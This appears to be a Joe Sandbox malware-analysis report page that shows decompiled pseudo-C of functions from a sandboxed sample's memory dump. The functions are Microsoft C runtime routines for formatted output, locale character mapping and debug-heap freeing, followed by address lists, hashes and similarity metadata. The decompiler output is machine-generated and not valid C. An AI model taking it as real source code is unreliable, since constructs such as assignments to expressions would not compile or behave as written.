																					 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE00(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE00(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B540(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428310(__ebp + 0x14);
																			if(E00433EC0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E330();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E20(__ecx))) = 0x16;
																				__eax = E00422BB0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADD0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE00(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E004311D0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c35d
0x0043c35d
0x0043c35d
0x0043c35d
0x0043c35d
0x0043c35d
0x0043c35d
0x0043c35d
0x00000000
0x0043c3d2
0x00000000
0x0043c3d2
0x00000000
0x0043c3d2
0x0043c3d2
0x0043c3da
0x0043c3fc
0x0043c402
0x0043c427
0x0043c46e
0x0043c471
0x0043c492
0x0043c497
0x0043c49c
0x0043c4a2
0x0043c473
0x0043c477
0x0043c47c
0x0043c47f
0x0043c480
0x0043c486
0x0043c486
0x0043c429
0x0043c42c
0x0043c42f
0x0043c451
0x0043c456
0x0043c45c
0x0043c45d
0x0043c463
0x0043c431
0x0043c435
0x0043c43a
0x0043c43e
0x0043c43f
0x0043c445
0x0043c445
0x0043c469
0x0043c404
0x0043c408
0x0043c40d
0x0043c410
0x0043c416
0x0043c416
0x0043c3dc
0x0043c3e0
0x0043c3e5
0x0043c3e8
0x0043c3ee
0x0043c3ee
0x0043c4ae
0x0043c4f0
0x0043c4f6
0x0043c502
0x00000000
0x0043c4b0
0x0043c4b0
0x0043c4b0
0x0043c4b7
0x00000000
0x0043c4c4
0x0043c4c4
0x0043c4d2
0x0043c4d7
0x0043c4dd
0x0043c4eb
0x0043c508
0x0043c510
0x0043c532
0x0043c532
0x0043c53c
0x0043c54d
0x0043c557
0x0043c559
0x0043c559
0x0043c53e
0x0043c53e
0x0043c53e
0x0043c56c
0x0043c56e
0x0043c56e
0x0043c57b
0x0043c57e
0x0043c57e
0x0043c584
0x0043c587
0x0043c58c
0x00000000
0x00000000
0x0043c59c
0x0043c59f
0x0043c5a9
0x0043c5b8
0x0043c5c1
0x0043c5d7
0x0043c5dd
0x0043c5ea
0x0043c5f8
0x0043c5f8
0x0043c607
0x0043c60f
0x0043c60f
0x0043c617
0x0043c620
0x0043c629
0x0043c635
0x0043c64e
0x0043c654
0x0043c65d
0x0043c65d
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x00000000
0x0043c660
0x0043c660
0x0043c660
0x0043c664
0x0043c840
0x0043c844
0x0043c84c
0x0043c851
0x0043c854
0x0043c854
0x0043c85b
0x0043c85b
0x0043b9db
0x0043b9e2
0x0043b9ef
0x0043b9f4
0x00000000
0x0043ba07
0x0043ba11
0x0043ba38
0x0043ba1f
0x0043ba30
0x0043ba30
0x0043ba11
0x0043ba42
0x0043ba48
0x0043ba54
0x0043ba57
0x0043ba65
0x0043ba68
0x0043ba75
0x0043bb1a
0x0043bb20
0x0043bb2d
0x00000000
0x00000000
0x0043bb33
0x0043bb39
0x00000000
0x0043bb40
0x0043bb40
0x0043bb5a
0x0043bb5f
0x00000000
0x00000000
0x0043bb67
0x0043bb67
0x0043bb6e
0x0043bb71
0x0043bb74
0x0043bb77
0x0043bb7a
0x0043bb7d
0x0043bb80
0x0043bb87
0x0043bb8e
0x00000000
0x00000000
0x0043bb9a
0x0043bb9a
0x0043bba1
0x0043bbad
0x0043bbb0
0x0043bbbd
0x00000000
0x00000000
0x0043bbbf
0x0043bbc5
0x0043bbc5
0x0043bbcc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc10
0x0043bc10
0x0043bc1a
0x0043bc47
0x0043bc51
0x0043bc51
0x0043bc55
0x0043bc1c
0x0043bc1c
0x0043bc28
0x0043bc2f
0x0043bc34
0x0043bc37
0x0043bc3a
0x0043bc3d
0x0043bc3f
0x0043bc3f
0x0043bc42
0x00000000
0x00000000
0x0043bc5d
0x0043bc5d
0x00000000
0x00000000
0x0043bc69
0x0043bc69
0x0043bc73
0x0043bc93
0x0043bc96
0x0043bca0
0x0043bca0
0x0043bca4
0x0043bc75
0x0043bc75
0x0043bc81
0x0043bc88
0x0043bc8a
0x0043bc8a
0x0043bc91
0x00000000
0x00000000
0x0043bcac
0x0043bcac
0x0043bcb3
0x0043bcbf
0x0043bcc2
0x0043bccf
0x0043bde2
0x00000000
0x0043bde2
0x0043bcd5
0x0043bcdb
0x0043bcdb
0x0043bce2
0x00000000
0x0043bd19
0x0043bd19
0x0043bd1c
0x0043bd22
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd52
0x0043bd76
0x0043bd76
0x0043bd79
0x0043bd7f
0x0043bdb8
0x0043bdc9
0x00000000
0x0043bdc9
0x0043bd81
0x0043bd81
0x0043bd84
0x0043bd8a
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd8f
0x0043bd95
0x00000000
0x00000000
0x0043bd97
0x0043bd97
0x0043bd9a
0x0043bda0
0x00000000
0x00000000
0x0043bda2
0x0043bda2
0x0043bda5
0x0043bdab
0x00000000
0x00000000
0x0043bdad
0x0043bdad
0x0043bdb0
0x0043bdb6
0x0043bdba
0x00000000
0x0043bdba
0x00000000
0x0043bdb6
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5e
0x00000000
0x0043bd60
0x0043bd63
0x0043bd66
0x0043bd6c
0x0043bd71
0x00000000
0x0043bd71
0x0043bd5e
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2e
0x00000000
0x0043bd30
0x0043bd33
0x0043bd36
0x0043bd3c
0x0043bd41
0x00000000
0x0043bd41
0x00000000
0x0043bdcb
0x0043bdcb
0x0043bdce
0x0043bdd1
0x00000000
0x00000000
0x0043bce9
0x0043bce9
0x0043bcec
0x0043bcf2
0x0043bd0e
0x0043bd11
0x0043bcf4
0x0043bcf4
0x0043bcf7
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd06
0x00000000
0x00000000
0x0043bdd6
0x0043bdd9
0x0043bddf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x00000000
0x00000000
0x0043bbf4
0x0043bbf7
0x0043bbfd
0x00000000
0x00000000
0x0043bbde
0x0043bbe1
0x0043bbe4
0x00000000
0x00000000
0x0043bbd3
0x0043bbd6
0x0043bbd9
0x00000000
0x00000000
0x0043bc02
0x0043bc05
0x0043bc08
0x00000000
0x00000000
0x0043bc0b
0x00000000
0x00000000
0x0043ba7b
0x0043ba7b
0x0043ba7d
0x0043ba8b
0x0043ba7f
0x0043ba7f
0x0043ba7f
0x0043ba9b
0x0043baa8
0x0043baaa
0x0043baaf
0x0043bab1
0x0043bab6
0x0043babb
0x0043babd
0x0043bac2
0x0043bac8
0x0043baca
0x0043baca
0x0043bac8
0x0043bacb
0x0043bad2
0x00000000
0x0043bad4
0x0043bad9
0x0043baf5
0x0043bafd
0x0043bb0a
0x0043bb0f
0x0043c924
0x0043c931
0x0043c931
0x0043bad2
0x0043ba75
0x0043c860
0x0043c867
0x0043c87e
0x0043c872
0x0043c872
0x0043c872
0x0043c888
0x0043c88e
0x0043c89b
0x0043c89d
0x0043c8a2
0x0043c8a4
0x0043c8a9
0x0043c8ae
0x0043c8b0
0x0043c8b5
0x0043c8bb
0x0043c8bd
0x0043c8bd
0x0043c8bb
0x0043c8c5
0x0043c910
0x0043c919
0x0043c91e
0x0043c8c7
0x0043c8cc
0x0043c8e8
0x0043c8f0
0x0043c8fd
0x0043c902
0x0043c902
0x00000000
0x0043c8c5
0x0043c66a
0x0043c670
0x0043c67a
0x0043c694
0x0043c6ae
0x0043c6b5
0x0043c6b9
0x0043c6b9
0x0043c696
0x0043c69b
0x0043c69f
0x0043c69f
0x0043c67c
0x0043c681
0x0043c685
0x0043c685
0x0043c67a
0x0043c6c9
0x0043c6d5
0x0043c6eb
0x0043c6f0
0x0043c6f0
0x0043c706
0x0043c70b
0x0043c714
0x0043c732
0x0043c737
0x0043c737
0x0043c73e
0x0043c7f8
0x0043c80b
0x0043c810
0x00000000
0x0043c74e
0x0043c74e
0x0043c751
0x0043c75a
0x0043c760
0x0043c760
0x0043c76f
0x0043c777
0x00000000
0x00000000
0x0043c779
0x0043c77c
0x0043c7a1
0x0043c7a6
0x0043c7a9
0x0043c7b6
0x0043c7c4
0x0043c7d7
0x0043c7dc
0x0043c7eb
0x00000000
0x0043c7eb
0x0043c7b8
0x0043c7b8
0x00000000
0x0043c7b8
0x0043c7f6
0x0043c813
0x0043c81a
0x0043c838
0x0043c83d
0x0043c83d
0x00000000
0x0043c81a
0x0043bde7
0x0043bde7
0x0043bdee
0x0043bdf4
0x0043bdfa
0x0043bdfd
0x0043be03
0x0043be10
0x0043be16
0x0043be16
0x0043be1d
0x00000000
0x0043c1a1
0x0043c1a1
0x0043c1af
0x0043c1b2
0x00000000
0x00000000
0x0043be24
0x0043be27
0x0043be2d
0x0043be32
0x0043be35
0x0043be35
0x00000000
0x00000000
0x0043bf6a
0x0043bf6d
0x0043bf72
0x0043bf77
0x0043bf7a
0x0043bf7a
0x00000000
0x00000000
0x0043c36d
0x0043c36d
0x00000000
0x00000000
0x0043bed4
0x0043bed4
0x0043bee0
0x0043beed
0x0043befb
0x0043befb
0x0043bf01
0x0043bf04
0x0043bf10
0x0043bf65
0x00000000
0x0043bf65
0x0043beef
0x0043beef
0x0043bef9
0x0043bf15
0x0043bf18
0x0043bf1e
0x0043bf46
0x0043bf4d
0x0043bf53
0x0043bf56
0x0043bf59
0x0043bf5f
0x0043bf62
0x0043bf20
0x0043bf20
0x0043bf26
0x0043bf29
0x0043bf2c
0x0043bf32
0x0043bf35
0x0043bf38
0x0043bf3a
0x0043bf3d
0x0043bf3d
0x00000000
0x0043bf1e
0x00000000
0x00000000
0x0043c1b9
0x0043c1bc
0x0043c1bf
0x0043c1c2
0x0043c1c8
0x0043c1cb
0x0043c1d6
0x0043c1e1
0x0043c1e5
0x0043c1fc
0x0043c203
0x0043c205
0x0043c205
0x0043c20c
0x0043c213
0x0043c221
0x0043c224
0x0043c233
0x0043c23a
0x0043c24f
0x0043c23c
0x0043c23c
0x0043c23f
0x0043c245
0x0043c24a
0x0043c24a
0x0043c23a
0x0043c259
0x0043c25c
0x0043c25f
0x0043c262
0x0043c265
0x0043c268
0x0043c26e
0x0043c274
0x0043c27c
0x0043c27d
0x0043c280
0x0043c281
0x0043c284
0x0043c285
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29b
0x0043c29c
0x0043c2ab
0x0043c2ad
0x0043c2b3
0x0043c2b8
0x0043c2c0
0x0043c2c8
0x0043c2c9
0x0043c2cc
0x0043c2cd
0x0043c2dc
0x0043c2de
0x0043c2de
0x0043c2e1
0x0043c2eb
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c300
0x0043c301
0x0043c304
0x0043c305
0x0043c313
0x0043c315
0x0043c315
0x0043c2f6
0x0043c318
0x0043c31b
0x0043c321
0x0043c326
0x0043c32b
0x0043c331
0x0043c334
0x0043c334
0x0043c337
0x0043c343
0x00000000
0x0043c343
0x0043c1e7
0x0043c1e7
0x0043c1f1
0x00000000
0x00000000
0x0043c1f3
0x0043c1f3
0x00000000
0x0043c1f3
0x0043c1d8
0x0043c1d8
0x00000000
0x00000000
0x0043be38
0x0043be38
0x0043be43
0x0043be4b
0x0043be52
0x0043be55
0x0043be58
0x0043beb8
0x0043be5a
0x0043be61
0x0043be67
0x0043be6d
0x0043be74
0x0043be77
0x0043be7d
0x0043be85
0x0043be87
0x0043be8e
0x0043be95
0x0043bea6
0x0043bea8
0x0043bea8
0x0043beaf
0x0043bebf
0x0043bec5
0x0043bec8
0x00000000
0x00000000
0x0043c34b
0x0043c34e
0x0043c351
0x0043c354
0x00000000
0x00000000
0x0043c0aa
0x0043c0aa
0x0043c0b6
0x0043c0c3
0x0043c16d
0x0043c16d
0x0043c170
0x0043c173
0x0043c187
0x0043c18d
0x0043c193
0x0043c175
0x0043c175
0x0043c17b
0x0043c182
0x0043c182
0x0043c195
0x00000000
0x0043c195
0x0043c0c9
0x0043c0c9
0x0043c0cb
0x0043c0d9
0x0043c0cd
0x0043c0cd
0x0043c0cd
0x0043c0e3
0x0043c0e9
0x0043c0f6
0x0043c0f8
0x0043c0fd
0x0043c0ff
0x0043c104
0x0043c109
0x0043c10b
0x0043c110
0x0043c116
0x0043c118
0x0043c118
0x0043c116
0x0043c120
0x0043c168
0x00000000
0x0043c122
0x0043c122
0x0043c127
0x0043c143
0x0043c14b
0x0043c155
0x0043c158
0x0043c15d
0x00000000
0x0043c15d
0x00000000
0x0043c3b4
0x0043c3b4
0x0043c3be
0x0043c3c4
0x0043c3c9
0x0043c3cf
0x0043c3cf
0x00000000
0x00000000
0x0043c366
0x0043c366
0x00000000
0x00000000
0x0043bf7d
0x0043bf81
0x0043bf8f
0x0043bf92
0x0043bf83
0x0043bf83
0x0043bf83
0x0043bf98
0x0043bf9e
0x0043bfa4
0x0043bfb0
0x0043bfb6
0x0043bfb9
0x0043c041
0x0043c045
0x0043c047
0x0043c04d
0x0043c04d
0x0043c050
0x0043c057
0x0043c05a
0x0043c060
0x0043c060
0x0043c060
0x0043c066
0x0043c06c
0x0043c06f
0x0043c077
0x00000000
0x00000000
0x0043c079
0x0043c079
0x0043c07f
0x0043c084
0x00000000
0x00000000
0x0043c086
0x0043c08c
0x0043c08f
0x0043c08f
0x0043c097
0x0043c09d
0x0043c0a0
0x0043c0a2
0x00000000
0x0043bfbf
0x0043bfbf
0x0043bfc3
0x0043bfc5
0x0043bfca
0x0043bfca
0x0043bfcd
0x0043bfd0
0x0043bfd6
0x0043bfe8
0x0043bfe8
0x0043bfe8
0x0043bff1
0x00000000
0x00000000
0x0043bff3
0x0043bff3
0x0043bff9
0x0043bffe
0x00000000
0x00000000
0x0043c000
0x0043c000
0x0043c009
0x0043c00f
0x0043c01d
0x0043c025
0x0043c028
0x0043c028
0x0043c034
0x0043c037
0x0043bfe2
0x0043bfe5
0x0043bfe5
0x0043c03f
0x0043c0a5
0x00000000
0x0043c0a5
0x00000000
0x00000000
0x00000000
0x0043c379
0x0043c379
0x0043c383
0x0043c383
0x0043c38d
0x0043c393
0x0043c395
0x0043c39a
0x0043c3a4
0x0043c3a7
0x0043c3ab
0x0043c3ab
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be1d
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c660
0x0043c4b7
0x0043c4ae
0x0043c3d2
0x0043c3d2
0x0043c3d2

APIs

_get_int64_arg.LIBCMTD ref: 0043C3E0
_get_int64_arg.LIBCMTD ref: 0043C408
__aullrem.LIBCMT ref: 0043C5B0
__aulldiv.LIBCMT ref: 0043C5D2

Strings

9, xrefs: 0043C5E3

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: e7702b981e60c8c9f964348e47dd1d754b4db7ff44653a8b9114ce1969d3dd8e
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: B44117B1E40129AFDB24CF48C981BAEB7B5FB89314F1051DAD148B7241C738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042E256, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042E256() {
				intOrPtr* _t42;
				intOrPtr* _t45;
				signed int _t51;
				void* _t55;
				void* _t56;
				void* _t58;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t85;

				_t59 = _t83 - 0x1c;
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t83 - 0x1c))) + 0xac)) <= 1) {
					L4:
					 *((intOrPtr*)(L00422E20(_t59))) = 0x2a;
					 *((char*)(_t83 - 8)) =  *(_t83 + 8);
					 *((char*)(_t83 - 7)) = 0;
					 *((intOrPtr*)(_t83 - 0xc)) = 1;
				} else {
					_t55 = E0041AE00(_t83 - 0x1c);
					_t59 =  *(_t83 + 8) >> 0x00000008 & 0x000000ff;
					_t56 = E004311D0( *(_t83 + 8) >> 0x00000008 & 0x000000ff, _t55);
					_t85 = _t85 + 8;
					_t89 = _t56;
					if(_t56 == 0) {
						goto L4;
					} else {
						 *((char*)(_t83 - 8)) =  *(_t83 + 8) >> 0x00000008 & 0x000000ff;
						 *((char*)(_t83 - 7)) =  *(_t83 + 8);
						 *((char*)(_t83 - 6)) = 0;
						 *((intOrPtr*)(_t83 - 0xc)) = 2;
					}
				}
				_t42 = E0041AE00(_t83 - 0x1c);
				_t45 = E0041AE00(_t83 - 0x1c);
				 *((intOrPtr*)(_t83 - 0xc)) = E00431240(_t58, _t81, _t82, _t89, E0041AE00(_t83 - 0x1c),  *((intOrPtr*)( *_t45 + 0x14)), 0x100, _t83 - 8,  *((intOrPtr*)(_t83 - 0xc)), _t83 - 4, 3,  *((intOrPtr*)( *_t42 + 4)), 1);
				if( *((intOrPtr*)(_t83 - 0xc)) != 0) {
					__eflags =  *((intOrPtr*)(_t83 - 0xc)) - 1;
					if( *((intOrPtr*)(_t83 - 0xc)) != 1) {
						 *(_t83 - 0x30) =  *(_t83 - 3) & 0x000000ff | ( *(_t83 - 4) & 0x000000ff) << 0x00000008;
						E0041ADD0(_t83 - 0x1c);
						_t51 =  *(_t83 - 0x30);
					} else {
						 *(_t83 - 0x2c) =  *(_t83 - 4) & 0x000000ff;
						E0041ADD0(_t83 - 0x1c);
						_t51 =  *(_t83 - 0x2c);
					}
				} else {
					 *(_t83 - 0x28) =  *(_t83 + 8);
					E0041ADD0(_t83 - 0x1c);
					_t51 =  *(_t83 - 0x28);
				}
				return _t51;
			}

0x0042e26e
0x0042e27f
0x0042e2c5
0x0042e2ca
0x0042e2d3
0x0042e2d6
0x0042e2da
0x0042e281
0x0042e284
0x0042e290
0x0042e297
0x0042e29c
0x0042e29f
0x0042e2a1
0x00000000
0x0042e2a3
0x0042e2af
0x0042e2b5
0x0042e2b8
0x0042e2bc
0x0042e2bc
0x0042e2a1
0x0042e2e6
0x0042e307
0x0042e323
0x0042e32a
0x0042e33f
0x0042e343
0x0042e368
0x0042e36e
0x0042e373
0x0042e345
0x0042e349
0x0042e34f
0x0042e354
0x0042e354
0x0042e32c
0x0042e32f
0x0042e335
0x0042e33a
0x0042e33a
0x0042e383

APIs

__isleadbyte_l.LIBCMTD ref: 0042E297

Part of subcall function 004311D0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00431208

___crtLCMapStringA.LIBCMTD ref: 0042E31B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E335
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042E34F

Strings

A, xrefs: 0042E2F7, 0042E2FA

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$String___crt__isleadbyte_l
String ID: A
API String ID: 3671512615-2078354741
Opcode ID: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction ID: 62af9ec20315cade8610037988920c19270abcdd94b6cc20829771b4461671e1
Opcode Fuzzy Hash: 375c1630e05cb2e82e6733a2bd4174f80c2e82819c9fadb709afbf7c3a2e5a30
Instruction Fuzzy Hash: 1B219375E00208EFCB04DF96D851BFF7B75AF14304F5481AEE4026B281DA38AA85CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041C97E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CA0D
__free_base.LIBCMTD ref: 0041CA19

Strings

_pLastBlock == pHead, xrefs: 0041C97E
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C98A

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction ID: 107295e8077d53a55f8fd79815e384767a398e60b1dcaf5e20c87cc28949c7c5
Opcode Fuzzy Hash: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
